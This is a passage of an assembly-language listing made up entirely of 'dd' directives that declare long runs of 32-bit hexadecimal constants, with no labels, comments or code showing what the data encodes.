5C4D22C2h, 0FAC5C9A8h dd 7550C0F6h, 80C69B46h, 84A41609h, 27C0201Ch, 2CB319Dh dd 3BCCA3ACh, 48E22FE2h, 0EF5B8C80h, 36006028h, 7E5869C3h dd 260AC05Eh, 8758976Eh, 30D0CAD7h, 0DDDA79F2h, 42008FF8h dd 5843084Fh, 3C95D84Ch, 2BD87CE2h, 0A8446006h, 300782Dh dd 0CE2A29DEh, 0EA3FC95h, 38F7FED7h, 6AEF21B8h, 37E13503h dd 0ABFBA73Ah, 1EF0E0C4h, 0EE870739h, 0B08B749Bh, 0B93D3676h dd 21042C00h, 6C03110Dh, 688C5C5Bh, 1816CE00h, 0A0B21E92h dd 157C81Dh, 843D72C0h, 0A59704Fh, 0B99866BEh, 0C7C500ACh dd 0CFD61B07h, 1D75D913h, 30626C42h, 1C5064E0h, 84A84948h dd 80B35C94h, 3385F1B0h, 8DDB670Fh, 4C50C5F5h, 0F2BDACC0h dd 0D46F04E7h, 828656CBh, 98C079EEh, 530E3EC6h, 0A1906276h dd 9A9F8DBDh, 7871820h, 0E93DB718h, 0AA5A0210h, 828CC90h dd 66696705h, 0F841051Ah, 0A8F6701Fh, 545C34h, 0CB7D1579h dd 0FE27DA81h, 94B17200h, 5DBE8BFAh, 0A5710061h, 25B8AEFDh dd 730301F9h, 0E431B2Dh, 0BC0AE53Dh, 0A00F771h, 952FF186h dd 0DA963E3Bh, 51F52680h, 38DE8CA7h, 2916F3Eh, 807D5968h dd 78CAE0F8h, 331300D1h, 0AAE4D0F2h, 0D4B001BEh, 98A07205h dd 30C2AF68h, 65DA40C3h, 0ADE800F9h, 0FD0B4D89h, 68583274h dd 0A1DD00D6h, 0B7DAA8EFh, 1359001Ah, 495011E5h, 0BA1FA064h dd 0EB00D919h, 28FA882Bh, 0D4620EC8h, 5301524Eh, 0F44B718Dh dd 20F6F35h, 5820E687h, 0B0A8121h, 9BC2B315h, 1DCB4900h dd 0C6001B05h, 79182710h, 913685Bh, 857B3243h, 7A55AC80h dd 0AF72DBF4h, 5E128703h, 90638C78h, 185B5FC2h, 10542A90h dd 84009AC7h, 512D29A1h, 24B1B9h, 25B2AE4Eh, 9EAD9D55h dd 85E3EF00h, 62F4446Ah, 9CE0B8h, 1ECDA58Eh, 25DEAFA4h dd 0A2D3B203h, 0E879F170h, 782CD94Bh, 4DAA00F9h, 1D1F02Eh dd 461E9299h, 0AB83448Eh, 0A74285h, 543DBA67h, 8A18280Ch dd 76095900h, 388199Ah, 0C4210001h, 0CDED10ECh, 0EF001882h dd 0DCE99DF4h, 149BC0Bh, 6665286Dh, 3475A7BBh, 7C9A2160h dd 26C39A3Bh, 0BE876074h, 2EE0124Fh, 2E1D3713h, 0D35FF9h dd 20999306h, 0F760EA04h, 62B64310h, 8275B5h, 0CF260FD1h dd 0CA941519h, 0EF1E48h, 4107E3EAh, 23B2ED3h, 0CF70DAC8h dd 0F8429EEEh, 0E3685040h, 25803Fh, 41C0DDD0h, 5C650AFEh dd 77B588h, 31F9D68Ch, 39456614h, 36E0C0Eh, 627F80D8h dd 48A09138h, 6802D8E2h, 561196FAh, 0CA659CE8h, 7F0BEB1Ch dd 6E42BEC0h, 3A1383C8h, 3F83D257h, 7807A9Bh, 348D97C0h dd 79ECF158h, 94C3C900h, 95C4FE81h, 0BDAD0184h, 56335FCEh dd 0F2F04064h, 9D00B1A9h, 0F068778Eh, 48BA7h, 4CA19F1Ch dd 0CA352D4Dh, 762E1000h, 94081E6Dh, 0F4470054h, 0B005B5E8h dd 1C075DEBh, 5A55D475h, 13494FF0h, 3BAA008Ch, 81D24B93h dd 910047AEh, 8E5D6AB9h, 2432DC9Bh, 0BC288Bh, 0F2E4EBEEh dd 82006B96h, 1C5B7368h, 22775Ch, 0AB8E946Fh, 28D9DFFAh dd 0DDE6D507h, 0E4FE292Bh, 60C082D0h, 6A5C96h, 0BAC7B8A2h dd 5A938809h, 26703Eh, 2817D19h, 13C272D8h, 0F0FF11h, 0AAA8516Bh dd 6B008D89h, 2E35F64Eh, 92E5F24Ch, 50520E28h, 8B815461h dd 0E04D5364h, 0CCA08DA9h, 44079AFBh, 4E85B220h, 25BAB470h dd 0AFD5E95Fh, 926430h, 95042DD8h, 786DF8C3h, 0EA02B5EAh dd 3F304845h, 9145974h, 0C580859Ch, 5AF71BB6h, 0D2F1332Ch dd 0A753800h, 397EEE9h, 96193631h, 0F0A33508h, 0BDA43398h dd 7FCA9B0Fh, 8BC08029h, 502F3DA8h, 0F6BECC8h, 0C743F2D1h dd 48768A0h, 0A603E31Bh, 64C81F9Bh, 0A58590ABh, 0C92C0065h dd 9D4B157Dh, 9B006F76h, 0F1B9B73Bh, 0EE7126h, 0F7CCF6C2h dd 747759C9h, 9C977C3Eh, 0F56632A1h, 10992B0Ch, 0EEB500E3h dd 9FA31F13h, 0E900111Bh, 39FBC170h, 0A1EAB4h, 812CBD0h dd 92DDDE10h, 437CA40Eh, 0C7D640D7h, 0FA477542h, 25F70013h dd 0AA5240A1h, 0F036420h, 12BCC9D4h, 57F5A80Bh, 893B007Bh dd 468B397h, 0A22532F2h, 6D3800E0h, 7141ECFCh, 4F4928F9h dd 608E00E4h, 3855B53h, 5412D8C6h, 0A40380EFh, 0F83CFAFDh dd 303A5823h, 0B1B80DBEh, 0ACB85A08h, 8045FE3Ch, 4E3E1853h dd 0FAA00F98h, 0E4202C49h, 0E060000h, 0A307F2F0h, 0BE0051F8h dd 8695058Bh, 3F0ACBCFh, 8F00EE7Eh, 7B0443A7h, 54251BE9h dd 3E8801B4h, 0B980EE84h, 0EF941614h, 953AB720h, 332E0F1Ah dd 0CA213BC9h, 301C8025h, 0F6C842h, 4CB9F7Bh, 4AE7BCE0h dd 1CF3CE00h, 296CF795h, 82730074h, 0A2775DE3h, 0A51EE07Ch dd 5707C73Bh, 24F172A6h, 4887FEF5h, 26FA4E35h, 460760ABh dd 0B463CBA7h, 905EB40h, 15EE0082h, 1ADCA9DFh, 609FA6C0h dd 75290AB8h, 0C8F73887h, 0EFCA1FF7h, 3A5B4035h, 2A83D9DCh dd 0DB7A2C0Ch, 2C89DAF8h, 6B51E0h, 9EFB4516h, 0E100C791h dd 7D2284ACh, 3E373E94h, 90B8C8Ah, 3687670Ah, 0DBC7C38Bh dd 216C22A1h, 0CA2085D2h, 48D789E1h, 0F549091h, 2E30C6E7h dd 0BE7D18h, 3ADB608Ch, 88F996B1h, 1FABFF41h, 71EDECFh dd 80A2A074h, 0B1F92763h, 2A5C7380h, 7BB8BC06h, 0B6DEE3Ch dd 8EC289B5h, 0B4EBC4A4h, 85601B6Ch, 0B63C2289h, 450C0A1h dd 0BADEA619h, 3AD19260h, 0A89BC40h, 3227888Bh, 5FD0020h dd 7BDF6EFh, 6000A04Eh, 0A49D1C17h, 6D25036Eh, 8A552C94h dd 910ED6E0h, 33574B3Dh, 3756009h, 0D36D02C1h, 0A9902927h dd 0AC3F0451h dd 7E79809Eh, 412265B7h, 0E2960050h, 2C8C06FCh, 7D00ED5Ah dd 8BA1CD73h, 0FEF6620h, 9FA6F668h, 0CFCE7C87h, 0FEA23040h dd 0EC00EEFCh, 53E0F931h, 17AE33h, 8250A976h, 3DB16CA4h dd 249D100h, 9557D90h, 80E80372h, 2A4D8B7Ch, 0BF978400h dd 9585AE4Fh, 54EE0046h, 0CBBADF73h, 0F901BB9Eh, 6F9C288Eh dd 0C431679Ah, 8869009h, 10B69DC2h, 5E50B27Dh, 0D2006480h dd 0B6828E5h, 0A0B0C790h, 6A0F0D0h, 0FFFB2C8Dh, 0BE22295Dh dd 0D5ED10E4h, 103C21B7h, 43DA88A6h, 51229921h, 0BE703ED8h dd 61679E8Bh, 6F0480FDh, 3D88F31Ch, 0BD01165Dh, 0BB7A645Fh dd 1153D4B6h, 148DE4EFh, 8C5D6E02h, 0C8466059h, 1765728h dd 5C4F0EAh, 0C0104E21h, 0F1C5976Eh, 3081425Bh, 0FAD03D9Ah dd 6FA50736h, 40C757A6h, 0E3E577F4h, 0C00CEFAh, 7CDA01Ch dd 0D9CC38h, 643913Ah, 8DB0EF4Eh, 0AEE1F801h, 73E5AA20h dd 3D3CC0C6h, 0FC4B10h, 0BD3F08ACh, 310F186Fh, 0A571EF91h dd 0D4C16223h, 2BD0B057h, 1DA3007Fh, 0A5539428h, 4C00773Eh dd 0AEDD0248h, 681F5C4h, 2138333Fh, 7600C0BEh, 710C89B9h dd 3EDD5717h, 0E700ED1Dh, 0C97E3F3Ch, 0D013FC56h, 0B5007A9Dh dd 9B36B986h, 2FDD1DBCh, 76D8CC0Fh, 0E012CD80h, 70A08EB6h dd 0FA3A1843h, 0ED6C2E71h, 0FB47911Ch, 315D3280h, 1861E887h dd 4294AD7Ch, 0C501733Eh, 0AAA914D0h, 5870F582h, 0EDF87Fh dd 0D5845074h, 0B2EAC75h, 5AB4431Eh, 0ED3F5C1h, 0C0CC783Eh dd 7D70AAh, 61A204CCh, 0AD717782h, 796A5B00h, 72835712h dd 58FE70h, 55448AF4h, 2140A4B1h, 0C5C43713h, 0FC2EDC41h dd 0FFC31C6h, 0A4383F96h, 9D29CF87h, 872690C5h, 180021C7h dd 6D71F689h, 0B0B8CB69h, 67290057h, 0C0DBF46Eh, 6202177Ah dd 0F6DC3430h, 0A424E03Bh, 14354802h, 4EBEA882h, 8B000470h dd 0AB015ADh, 10D5DFBh, 0B298BC93h, 0E2FAE57Fh, 590F5860h dd 0EC01E5Ch, 40554E1Dh, 0D3860104h, 1391032Bh, 1142B9ACh dd 0FE0BC0C8h, 30F4D21Eh, 630FED80h, 3D40C6DBh, 0C100EACFh dd 0CA712A8Eh, 2E007CD6h, 0FFDE789Fh, 0E16E99h, 673E2864h dd 0E587611Ah, 38257200h, 413A2962h, 121EE6BBh, 0D44EC2EDh dd 39B000B4h, 0F932BE2Eh, 3C3A7B00h, 0F19F373Dh, 0A8F47Eh dd 8EA415CEh, 0B1A11E21h, 0A232400h, 229252FEh, 5C500F1h dd 2BC691BCh, 2859664Eh, 9ED3009Ch, 0C1D4FF08h, 0A00A4811h dd 69840E3Dh, 80C0B6BCh, 0FCB0460h, 0B0FF9500h, 0E201C4F2h dd 0CE78F4h, 68FB39EDh, 0F7BE44EBh, 0D54BD609h, 2EE000C2h dd 1E1FDAAFh, 80F3FE6Ch, 0C1E0AE4Ch, 400188BAh, 272202D3h dd 84E86F66h, 0DD2609A7h, 6C054F13h, 7374C741h, 46C8899Fh dd 439D308h, 49FA00F9h, 288612Fh, 70931283h, 67B3004Ch dd 5BECE53Dh, 6A1DEE00h, 692E7803h, 0EA922D5Ah, 7C00E0D0h dd 77F1306Fh, 39B4678Bh, 8C80070Fh, 7DAF5245h, 0CF00D2F8h dd 0C7447BEh, 0B394ACh, 0A72C4604h, 1786A82Dh, 9C89FC28h dd 830036E2h, 7E30EF18h, 0EE9E13h, 0EBF31EEAh, 0DD396274h dd 43EC9A01h, 9401963Ch, 0D8F070h, 0DFCBD2E1h, 6CCD7DAh dd 0B625E0F7h, 0BD9ACE14h, 9EC2049Ch, 5A7066BEh, 3300C9E2h dd 374952D8h, 5DB5D4h, 0B6B3415h, 10D7D1ABh, 1EB8D25Fh dd 0F040C20Fh, 2DDC2BEh, 0BC409B7Ch, 1800EC98h, 0FDFE81E4h dd 26F3CBE8h, 78F041h, 583C175h, 0D60A2CA0h, 0ABF793A3h dd 61022F07h, 7AE89050h, 0C87201h, 35B8D18Dh, 150A837Fh dd 70CAC200h, 0A95A867Bh, 31AEC02h, 79552EFDh, 63B8CB05h dd 5300B9D4h, 0FB7ABA2Ah, 3BB47Fh, 39E78F8Ch, 0A331A261h dd 998B9400h, 8D007E8h, 0B3E4001Bh, 2BCBDE0Dh, 4E012589h dd 35EE43F9h, 8060E1D9h, 0BAA01FFBh, 91198FB2h, 969AFC60h dd 0E97109D6h, 0F1603B98h, 0CD49C308h, 464D0081h, 0A21F35C7h dd 16007ED7h, 0AFE5CCA3h, 0BA54F3h, 0DC24C415h, 0D06FAA0h dd 4A87A09Ch, 0EA0117E0h, 6FEC36AFh, 46F200E4h, 24B82C68h dd 67B4101h, 77B99700h, 7A27AAB5h, 0B0AC50C3h, 3BF370E2h dd 87804E72h, 0C8C421EAh, 3F001EB7h, 9EDB6D10h, 1B8D12h dd 0C94B1ADEh, 0D10C07EBh, 8B4E5F38h, 10C128AEh, 0E7A448h dd 0C57B9251h, 0B0A37302h, 41A25303h, 0A7D81A28h, 4FBBE300h dd 0CF950036h, 6FAB2BF9h, 3100AFBFh, 6A8F5BACh, 0F742F9Eh dd 0A1B50CE7h, 0FDCF1BA0h, 0C2007858h, 0C9DA72FAh, 0F199E4h dd 16C87015h, 407B4D71h, 0B463C502h, 8026ABDFh, 0C7CBD581h dd 0EBD1F80h, 0CD92C0E0h, 89693DEAh, 5730FCF4h, 0BCAB384Eh dd 0C6F20B55h, 4F049DB5h, 8D70C1F7h, 4DCC60FAh, 5E10630Fh dd 0D090A201h, 0E47824h, 2FBE9689h, 3682DF6Bh, 0B7CC7A02h dd 70C66337h, 0BCCE3AF8h, 0CFD36B00h, 0C0DF0D30h, 0C700E470h dd 0D0F23158h, 25C981A2h, 6380D2C3h, 6F4423Ch, 9C641D16h dd 8DA67CC0h, 83B09C76h, 8889BF4Eh, 0BC4691A0h, 56654F00h dd 8B18D502h, 5E4A00B1h, 0F043E073h, 19027834h, 0E597CC28h dd 6867C22Fh, 7462A2E8h, 0AB920066h, 0C99E9B5Fh, 0E000E618h dd 0FF13821Ah, 60BA37h, 64F4FEA1h, 0D23DD50Ch, 0F759F60Eh dd 0F25C22CFh, 8E9060CEh, 0F84B58ECh, 67C039C0h, 2005B579h dd 0B4BF5A58h, 0F76058A5h, 0EE241CE8h, 1F340E75h, 0E00FA37h dd 0F8D6448Bh, 0B9F498h, 0BB266DCCh, 924217CEh, 0CD455000h dd 8C6715F9h, 0A79603F8h, 6D5CBD91h, 2033FBA0h, 0FE61F101h dd 0C5B57AC1h, 0E7004428h, 0C898D6CFh, 0C0A008DCh, 0CC3B01E1h dd 0AD1A3D8Dh, 8E2E8359h, 0A72DA094h, 3BF37B7Bh, 0A0012673h dd 9FAC80AFh, 0C0C5E072h, 21963812h, 4E04C416h, 84B9E9C1h dd 0AE97D900h, 0D32F6A54h, 3F87E500h, 0F1896D19h, 9C55006Eh dd 0DF33631Bh, 0B100324Ch, 99190F66h, 0BB840h, 8D356C92h dd 2C58BF47h, 5BB5FA00h, 0B2EC1B48h, 5EC603A8h, 0F2C8D37Ah dd 9EB9E7C8h, 54824401h, 24A65D60h, 3ED8A864h, 0AD80586Dh dd 3899930Ah, 3DEED180h, 7FE2E700h, 90EDEC19h, 311F01D4h dd 426C47EAh, 3684ECE3h, 0A31AE600h, 0A2FD16C6h, 0C30E009Ch dd 0C808DB47h, 0A100B3C2h, 1875D1D8h, 30ABA87Bh, 0E239149Bh dd 0B91E0ECFh, 0A3801F71h, 8C476A7Fh, 456C0249h, 0B090DFC2h dd 0F20F9850h, 0C0304329h, 3B81233Dh, 0FDD62706h, 7D610497h dd 0D4200673h, 0A9C70115h, 8A531147h, 0B60C24EBh, 0A3A50C9Ch dd 0A3BF11F8h, 650A044h, 2187632Ah, 14B15D63h, 0F8380Eh dd 301695BFh, 1EA4CAE3h, 0C77D1591h, 90096651h, 0A231FEEFh dd 7463CB00h, 22CF4187h, 56EE0E8Fh, 66204016h, 1AD2F0B4h dd 9008C024h, 0A38A6102h, 66CC70C9h, 90DB4905h, 60035C8Ch dd 0E90C88A2h, 5E80986Eh, 94760069h, 996B7EB0h, 0F00EA07h dd 36CBC659h, 0FD982CCEh, 6D00E438h, 193CE3D3h, 8100FB42h dd 0F11F4A86h, 1158555h, 0A4B84610h, 0DC0E5F34h, 0A700CC52h dd 0FBFF83ABh, 20940CAh, 0DA5423F8h, 0E3B03Eh, 332D90D0h dd 492A0203h, 88A6F124h, 0F35A0Ah, 0DE115D48h, 229E03BCh dd 8D18FAC7h, 510B9430h, 12670005h, 615CFF6Fh, 4900F45Fh dd 0C253DD01h, 0A891FD04h, 5A4FC0h, 6335ED6Ah, 0F3465B29h dd 0EA1F6600h, 7C6003B5h, 2697161h, 2608014Fh, 0FC832AB2h dd 7C0166A5h, 0AB7D3CC5h, 4BC55BFCh, 0B7F160D2h, 7EF8B4h dd 8D35424h, 0E1E446D5h dd 2EBFB800h, 0FA21A8Dh, 0FFB93F98h, 3218F380h, 59E6950Ch dd 789C80F0h, 3491EC80h, 48F4042h, 0D5C873Eh, 667491BDh dd 0B308809Eh, 0AE2069BAh, 0F58711Eh, 7760E25Fh, 40EC8B8Ah dd 81C7AA35h, 0DD2D38h, 0D9CEA068h, 0E0CF05h, 98A9620Dh dd 0D2A57039h, 0F50ABD19h, 67E5B739h, 18C72CF4h, 19F480DCh dd 200FBC41h, 60D851DDh, 0E45E2CB0h, 15A70061h, 0FA0B922Eh dd 0B7001416h, 0F17E965Dh, 0A6E832h, 427FDC2Ch, 9CCF9B6Dh dd 4B806B00h, 0A230B9D5h, 0E2D13E1Dh, 6490C187h, 0D8EB80B6h dd 0BD00EE15h, 8A9C452Ah, 1DB80AD6h, 80A4E7F5h, 0E91F7390h dd 8D32D9D4h, 20A8294Dh, 0A2F99BFFh, 1CA01690h, 0AD075246h dd 5F804F0Bh, 61931AB0h, 0EA1C005Ah, 0C6FC6756h, 0F6006C0Eh dd 0F83B14B7h, 106DBB0h, 0FA96B28Bh, 0C8C51DDDh, 0C97F6261h dd 0D9217B00h, 0DBBC29E8h, 0D4F0DCh, 0D6EFB010h, 194054Ah dd 42321500h, 8FF7DE73h, 473C01FEh, 0DBC8A689h, 0D906706Eh dd 6F57C900h, 88543E3Ah, 9C790332h, 1E52B063h, 28CB14A8h dd 0CCFE0207h, 35858315h, 951F9840h, 0D3B470h, 0CFFBD86Dh dd 5767F7DBh, 0D996200h, 4A56B890h, 217769h, 0C384151Bh dd 0BAB7A2D4h, 1317D503h, 0F84E9975h, 0F48066E6h, 92B0FC7h dd 0BD60EC5Dh, 12B858A0h, 1C0A90Fh, 48C5804Fh, 0F4938Fh dd 0B2EF0F8Eh, 0A28810B9h, 0DE13A101h, 76AFE2DCh, 0B6F8E1D1h dd 1445009Bh, 482ADF94h, 0AD00DE98h, 0E30F771Dh, 3A0C03BEh dd 0B0025F6h, 93FB2E7h, 6C757B33h, 5C3008C1h, 0C080594Fh dd 11D18D74h, 0E3B85670h, 0C49D7D00h, 50147E40h, 73960E19h dd 5C12AA6h, 70305EB9h, 0F100E5F4h, 8FA2728Ah, 6B0B54h dd 64EBA08h, 0B4EB44B5h, 9365200Fh, 41B6EE52h, 991EEC62h dd 16066098h, 0F730B835h, 0D6F90855h, 6ECB01F4h, 0B064EC21h dd 6D2BCC4Eh, 0AFCD7D00h, 4DD5C4F0h, 7AED0083h, 87CE4746h dd 1100BF59h, 6FEB1FF3h, 7E68EE4Ch, 0D4151C7Fh, 4648035h dd 0D1BE2A2Dh, 0B400E4E6h, 0AD4B2F7Bh, 5CFA0C6Ch, 197CAE77h dd 840AD575h, 0B210A6D4h, 440CCA00h, 8FF13Ch, 584575B6h dd 0D76021D2h, 0FD6CD100h, 0D2371C0h, 2B81FB7h, 973243C6h dd 0CD800C6Dh, 0D2016FE9h, 611C2846h, 2FE8D530h, 135398FAh dd 7EF76E5h, 30BA8849h, 2984AE33h, 2440F849h, 0C000FB60h dd 0F4D080D4h, 0EA3F0033h, 66A3D782h, 717D429Ch, 0E854C900h dd 0AA817323h, 0D6351FB3h, 4B975DA9h, 8D800F7Eh, 0BE67F65Fh dd 52385A24h, 26AF1C00h, 79ADEAA6h, 28AB3CDEh, 0BF83613Bh dd 277CA7A3h, 7A8103Ch, 9A9E8FC0h, 0D88B8300h, 0A22100A4h dd 0FA939549h, 73E4A1D2h, 0F309017Ah, 83AE9F81h, 0B0B1AA2Ch dd 0EF0C23h, 733F0E8Dh, 2719F272h, 0F9786F00h, 0D0A6AF53h dd 0D8690066h, 52E7C071h, 0BF0267FDh, 4A415931h, 1C91403Ah dd 0DABC000Dh, 5BF10FFFh, 687510A5h, 0DDE7A200h, 352D30FEh dd 0E2D438C6h, 0DFA46100h, 0ED6D1784h, 57EAA4A0h, 0EFE180h dd 0B6C8D978h, 0E9BD8820h, 0D3004EFEh, 42073ACEh, 3FFDBB10h dd 0CA80B230h, 7A46AEF7h, 1503713Fh, 0D34C7221h, 0ED0B880Fh dd 0B9181E5Eh, 306B4034h, 5B51E1BAh, 39C8F500h, 83DF4529h dd 60EEDCh, 0AC227F2Bh, 69DB1233h, 97A6871Dh, 39663641h dd 71C87CEDh, 20D002Fh, 0CFA8B303h, 76017361h, 0C88FA9EEh dd 0D2092CBh, 0D7634CE8h, 0DFB78900h, 577FA68Ah, 27533400h dd 26CFAA54h, 29010250h, 0C1202D21h, 0FC80FC6Ah, 366BC6EBh dd 33CE3E01h, 60784F43h, 37C4BBF4h, 7008375Bh, 28A17214h dd 557C4500h, 0FE78089Dh, 85E701C7h, 0C638CD65h, 0A6E12AAEh dd 0E20820h, 0E15F1013h, 6486D4C5h, 0EB347F00h, 0DA2536D2h dd 17F300C0h, 597E1FD0h, 3F00DCE9h, 4DB4D846h, 0EA6A64h dd 1662EB19h, 9933206h, 2BB7A00h, 8F1A659Dh, 4779B5h, 76929907h dd 1653E97Eh, 0ADFB1900h, 30B48545h, 137B79D9h, 0AFC0615Bh dd 0CD01341Dh, 0D91B79Eh, 0EB8830h, 3B9FAB37h, 0E974A7DAh dd 5E0060B8h, 0F70F45Bh, 3FE89A6h, 6D88A8F9h, 80A74AABh dd 0C135C716h, 0E9FFB50Fh, 2051EF5Fh, 7C94E176h, 4CAA00D6h dd 2361ED8h, 2B001954h, 37E98883h, 0A3304h, 0B22AA06Fh dd 0AB3FEF08h, 0BE7FF400h, 69A8B1F0h, 6CF0E1h, 8EA71435h dd 9CB98536h, 0E8165E03h, 900AB748h, 45A38h, 0BAF6A894h dd 0CA9EF525h, 99A41600h, 0E2B0C05Fh, 1B0A0166h, 0F6306AFFh dd 0DFE1D444h, 0A9054200h, 0D6F05439h, 475100EDh, 0F3A4E97Fh dd 11E0149Ah, 706EEC30h, 0F52796Bh, 382EEB7h, 53BA0C80h dd 1C0C86A2h, 28E802FCh, 82350F6Dh, 11F88446h, 0C2F08115h dd 8099B728h, 0C9ACEF2Ch, 0B441E81Fh, 0B2656BA2h, 867D2042h dd 40217883h, 0B300BDBCh, 0CF2AFA6Dh, 99AA8Bh, 140F55D3h dd 3FB98A05h, 83B10305h, 240C941Ch, 3E63889Fh, 95284A90h dd 2947000Ch, 0C1AD162h, 0F400FCC9h, 0F4A2C35h, 0A242EAh dd 0C5A73283h, 975DD647h, 98993300h, 3F2FC754h, 810200FFh dd 1C25B7F5h, 29027032h, 535A12C8h, 0C46EE021h, 5EA20545h dd 0AAF884A7h, 0DFCAB5C7h, 53692700h, 0C3E568h, 4DC95CB9h dd 0AD475A16h, 0E4CD6400h, 9E13BAFFh, 0DE5F005Dh, 0A086BE1Fh dd 0C40709B5h, 0BB0A3450h, 7B5A3070h, 5C240B15h, 87F5BC1Ch dd 13D07C18h, 0AACE80Eh, 0ED4D632Ch, 2F3780DCh, 6FC17AB1h dd 8412DE2Ah, 9DF74D18h, 0BC1020h, 6AA0577Dh, 0E6AA4C22h dd 5198FFFBh, 0CD481EF9h, 728E078Dh, 0D8769FE1h, 94F60640h dd 511FFB42h, 4C58E212h, 0DA84CA00h, 0C04989Eh, 0EACD743Eh dd 9C07189h, 66691AE8h, 0CC230065h, 4A939FCBh, 7E18DD82h dd 7B5126FBh, 0CA7085h, 71254364h, 0B8760C34h, 8B5BA300h dd 90739841h, 317A0CCBh, 6E58AE75h, 496CD900h, 0BFABC633h dd 0D0F90082h, 0A99B80CDh, 0D43FB5ACh, 9EBE78h, 2E776905h dd 71F7E240h, 98703057h, 0E6FD2DA1h, 0F5558207h, 7B804DA8h dd 13E5E908h, 6ED8BFFh, 0D1EB4852h, 0F5FEF703h, 18446D0Bh dd 915F6641h, 8C74A746h, 0FE42DB03h, 938B6141h, 88317744h dd 4C00DD9Fh, 98561BECh, 5DA1947h, 0D76E48BBh, 43884C1Ah dd 0B288ADE8h, 3BC1002Eh, 3EA7701Eh, 13EABE4Ah, 1DD6910Fh dd 5464608Ch, 1B015h, 55249AF5h, 0EE273C22h, 0F19773Eh dd 8993DE70h, 0D62AE0D3h, 0B67907ABh, 0C09418A0h, 0DEED64BBh dd 37E37B38h, 22F02097h, 0C0603106h, 0C7962C31h, 0E30619A3h dd 0E2CD07EAh, 2E3E3008h, 0C7928C20h, 9D6D3903h, 80C6341Dh dd 0C3982CD3h, 8AB19F41h, 0D737CBB0h, 199AE430h, 3407D94Ch dd 86104DCEh, 620019F8h, 0EAF3E267h, 3055DED7h, 8EA0D201h dd 3354CC22h, 0C708904Ch, 0C2F306BDh, 0D2002D67h, 7D3DC79Dh dd 4C440093h, 286A76CCh, 0F011A08h, 8358928Bh, 7ED9E2DAh dd 0CF89ACCh, 0D935BBD6h, 3E0082A1h, 395F6446h, 0CCA75085h dd 0E221D509h, 0F2460600h, 92581631h, 63F74FCh, 0FD8CFE8Fh dd 0DC0C5051h, 0F8D1FBE2h, 2E1538A5h, 21B0380Fh, 6576A1E0h dd 8CFC1195h, 2629D402h, 60054A47h, 0DE17DAh, 2C10F2E2h dd 0C4AAA16Ch, 0FC28E600h, 0D5DDD371h, 2EB70079h, 0BA7BBE82h dd 6C0936E5h, 3970AA8h, 0B851F107h, 7F07B332h, 242C001Fh dd 0C190EB99h, 59032E68h, 0E8060386h, 4064A2CCh, 480837h dd 9F6518A2h dd 422D9827h, 4A006CF2h, 20FABF81h, 992C5Dh, 2AF9DD14h dd 1CAE6A8Fh, 0CE240CECh, 3C000474h, 0FB161381h, 36833A89h dd 0D2217C30h, 0A30338EDh, 4BE262C0h, 0FC11D895h, 41C3010Bh dd 2BD42CA6h, 551080C7h, 12497C77h, 25840CF8h, 0C970CE0Ah dd 1801AF43h, 0BB820937h, 27000B36h, 3814370Eh, 0BB04AADEh dd 0A5154350h, 0F9E8201Bh, 94F577DDh, 3F8B6131h, 0DC30717h dd 809DD12Bh, 746B7894h, 0B39CA81h, 0C35ED82h, 0C0C98945h dd 2400BA37h, 2AB1FEE0h, 50BE0AB9h, 0D3BA48h, 4F16C47Ch dd 0FADDC35Ch, 0A2817ECh, 11C0FAA1h, 6DD94A48h, 60610086h dd 81F8E02Ch, 0A0009C53h, 21BF9F46h, 3F47FF3h, 0E585FBFAh dd 0C6988E43h, 1B0025C1h, 28C8E786h, 3C0ECDDh, 0B237FA75h dd 90EFAB74h, 582B29CAh, 15553900h, 6938A648h, 4988006Bh dd 82C6BE4Eh, 7101C524h, 98919647h, 6DECECEFh, 0A2700EAh dd 0FD599DD5h, 0CD14C75Ch, 0EE0451DDh, 0D46D14FFh, 48870008h dd 24B45725h, 0DC7A3EF1h, 5EFD5880h, 0A9534E90h, 37D919C1h dd 4712FAEDh, 0EF1BD520h, 39DD18CCh, 6A510893h, 21834C34h dd 9E333C00h, 0F50839h, 54A1B953h, 48625FAAh, 0B6A9CA0Ch dd 2818FAh, 0A7F89422h, 358CBF6h, 0F0B769F0h, 0BE0200F7h dd 0C8E1DCA3h, 1C0055CDh, 17DDEE23h, 16C4CCAh, 100CDE86h dd 404EBDA0h, 63D96640h, 40D09F63h, 0C7AFA08Ah, 93650028h dd 0BE9BFE08h, 5501EF1Dh, 0DDCB175Ch, 0B9BEC7B9h, 7E700078h dd 5EF7FA3Fh, 237F044Dh, 3CCADA3Ch, 807198B1h, 0D9B86469h dd 802AE0F8h, 88CC8741h, 0AAED12Eh, 0FDC75ECBh, 2FA800AFh dd 0C14E373Ch, 0B9ADF21Dh, 0EB5B6B40h, 34B24D0h, 0B811CD17h dd 60FBCB96h, 93804FE7h, 98DA47ECh, 0ACFDAF29h, 2FDFDC01h dd 0A0EEAC41h, 6C9D8CE8h, 5EA90267h, 0C8843C48h, 4C4DFCA0h dd 7F7903DAh, 0C637F701h, 0B9AE06ACh, 2A4E2CCh, 0DA24F290h dd 9883A3E7h, 0EFF06CBBh, 3D56CB9Ch, 88472124h, 16050718h dd 9040EF9Ah, 0BF28D650h, 0FA270337h, 3C71B3Eh, 80475280h dd 0E0A4A000h, 0F04CA248h, 37E703B0h, 529EA839h, 647A9003h dd 0E8F684B5h, 0E8F99FE0h, 0A2D400CDh, 0DCF1CA24h, 3C00D3EEh dd 5990A510h, 0CA124F32h, 23B0C818h, 22DF9D7Ch, 0B1354E30h dd 0A0A6DC94h, 29D149Ch, 0D97F656Bh, 8044A3B3h, 236ECB00h dd 0A8F00EF1h, 0BCAE5524h, 90BED1F0h, 31E08019h, 3DED2422h dd 0F26E0054h, 2CEB5916h, 7D4D490Ch, 2D1823h, 0A30C1339h dd 0BE6C4AB9h, 0DCA5D70Ch, 125BA8D1h, 205D025Ch, 60287028h dd 204CF548h, 9274A847h, 85B0AAFBh, 0F46C6B90h, 0E9704417h dd 69D4850Ch, 18AA4818h, 699B7D02h, 0E976E80Ah, 7007151Ch dd 6EE0A759h, 0CB10FC40h, 843700F2h, 0DAD4604Eh, 34AC34F4h dd 7F036B46h, 7F21754h, 2955DFB3h, 0F8A3E9CCh, 0A614CBEDh dd 39CEA73h, 2355ACD8h, 5EBEF87Fh, 335C00FAh, 0DB9F0478h dd 0C6181A1Bh, 8CB89C72h, 0AA03002Ch, 7FD770D8h, 0D0ECC7CFh dd 0B15EB600h, 0A656EF28h, 88AA50DCh, 0C0A0705Fh, 0C4E6A288h dd 5CA2D4E2h, 50C3D485h, 7C8FE8ECh, 7F92EF40h, 962AA3F5h dd 0AAF8908Bh, 